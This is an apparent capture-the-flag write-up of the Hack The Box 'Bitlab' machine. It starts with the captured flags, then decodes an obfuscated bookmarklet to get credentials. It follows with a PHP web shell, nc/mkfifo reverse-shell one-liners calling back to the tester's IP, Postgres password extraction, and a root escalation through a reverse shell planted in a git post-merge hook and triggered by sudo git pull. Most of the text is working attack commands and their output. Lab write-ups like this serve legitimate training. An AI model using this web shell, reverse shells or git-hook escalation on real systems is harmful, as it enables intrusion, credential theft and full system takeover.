==========
Bitlab user: 1e3fd81ec3aa2f1462370ee3c20b8154
Bitlab root: 8d4cc131757957cb68d9a0cddccd587c
==========
IhsanSencan
==========
1)

view-source:http://www.bitlab.htb/help/bookmarks.html

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\
x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\
x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\
x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]]
(_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

https://www.dcode.fr/javascript-unobfuscator

'use strict';
javascript: {
(function() {
var _0x4b18$jscomp$0 = ["value", "user_login", "getElementById", "clave", "user_password",
"11des0081x"];
document[_0x4b18$jscomp$0[2]](_0x4b18$jscomp$0[1])[_0x4b18$jscomp$0[0]] =
_0x4b18$jscomp$0[3];
document[_0x4b18$jscomp$0[2]](_0x4b18$jscomp$0[4])[_0x4b18$jscomp$0[0]] =
_0x4b18$jscomp$0[5];
})();
}
;

http://www.bitlab.htb/users/sign_in
username: clave
pass: 11des0081x

https://www.php.net/manual/tr/function.pg-connect.php

http://www.bitlab.htb/root/profile/new/master
cat x.php
<pre>
<?php
system($_REQUEST[ihsan]);
?>
</pre>

www.bitlab.htb/profile/x.php?ihsan=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+|
+nc+10.10.15.246+6666+>/tmp/f

root@ihsan:~/Masaüstü# nc -nlvp 6666

```
listening on [any] 6666 ...
connect to [10.10.15.246] from (UNKNOWN) [10.10.10.114] 51682

python -c 'import pty;pty.spawn("/bin/bash")'
==============================
http://www.bitlab.htb/snippets/1
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

http://www.bitlab.htb/root/profile/new/master
cat xx.php
<?php
$conn = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");

$result = pg_query($conn, "select * from profiles");
var_dump(pg_fetch_all($result));

www.bitlab.htb/profile/xx.php
Output:

array(1) { [0]=> array(3) { ["id"]=> string(1) "1" ["username"]=> string(5) "clave" ["password"]=>
string(22) "c3NoLXN0cjBuZy1wQHNz==" } }

==============================
clave@bitlab:/tmp$ cat query.php
cat query.php
<?php
   $dbhost = 'localhost';
   $dbname='profiles';
   $dbuser = 'profiles';
   $dbpass = 'profiles';

   $dbconn = pg_connect("host=$dbhost dbname=$dbname user=$dbuser password=$dbpass")
      or die('Could not connect: ' . pg_last_error());

   $query = 'SELECT * FROM profiles';
   $result = pg_query($query) or die('Error message: ' . pg_last_error());

   while ($row = pg_fetch_row($result)) {
      var_dump($row);
   }

   pg_free_result($result);
   pg_close($dbconn);
?>
clave@bitlab:/tmp$ php query.php
php query.php
array(3) {
```

```
  [0]=>
  string(1) "1"
  [1]=>
  string(5) "clave"
  [2]=>
  string(22) "c3NoLXN0cjBuZy1wQHNz=="
}
clave@bitlab:/tmp$
==============================
root@ihsan:~/Masaüstü# nc -nlvp 6666
listening on [any] 6666 ...
connect to [10.10.15.246] from (UNKNOWN) [10.10.10.114] 52088
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bitlab:/var/www/html/profile$ su clave
su clave
Password: c3NoLXN0cjBuZy1wQHNz==

clave@bitlab:/var/www/html/profile$ cd /home/clave
cd /home/clave
clave@bitlab:~$ ls -al
ls -al
total 44
drwxr-xr-x 4 clave clave  4096 Aug  8 14:40 .
drwxr-xr-x 3 root  root   4096 Feb 28  2019 ..
lrwxrwxrwx 1 root  root      9 Feb 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave  3771 Feb 28  2019 .bashrc
drwx------ 2 clave clave  4096 Aug  8 14:40 .cache
drwx------ 3 clave clave  4096 Aug  8 14:40 .gnupg
-rw-r--r-- 1 clave clave   807 Feb 28  2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave    33 Feb 28  2019 user.txt
clave@bitlab:~$ cat user.txt
cat user.txt
1e3fd81ec3aa2f1462370ee3c20b8154
clave@bitlab:~$

==============================
www-data@bitlab:/var/www/html/profile$ su clave
su clave
Password: c3NoLXN0cjBuZy1wQHNz==

clave@bitlab:/var/www/html/profile$ cd /home
cd /home
clave@bitlab:/home$ cd clave
cd clave
clave@bitlab:~$ cat user.txt
cat user.txt
1e3fd81ec3aa2f1462370ee3c20b8154
clave@bitlab:~$ ls -al
```

==========
1) cp /var/www/html/profile/.git /tmp/iii -r
2) echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.246 3333 >/tmp/f" > /tmp/iii/.git/hooks/post-merge
3) submit changes via gitlab web interface on profile then merge it
4) sudo /usr/bin/git pull

root@ihsan:~# nc -nlvp 3333
listening on [any] 3333 ...
connect to [10.10.15.246] from (UNKNOWN) [10.10.10.114] 56048
cat /root/root.txt
8d4cc131757957cb68d9a0cddccd587c
# id
uid=0(root) gid=0(root) groups=0(root)
# ls -al /root
total 48
drwx------ 6 root root 4096 Sep 6 10:42 .
drwxr-xr-x 24 root root 4096 Dec 31 2018 ..
lrwxrwxrwx 1 root root   9 Feb 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 31 2018 .bashrc
drwx------ 2 root root 4096 Aug 8 13:28 .cache
drwx------ 3 root root 4096 Aug 8 13:28 .gnupg
drwxr-xr-x 3 root root 4096 Sep 6 10:40 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drw------- 2 root root 4096 Jan 4 2019 .ssh
-rw------- 1 root root 9915 Sep 6 10:42 .viminfo
-r-------- 1 root root   33 Feb 28 2019 root.txt
#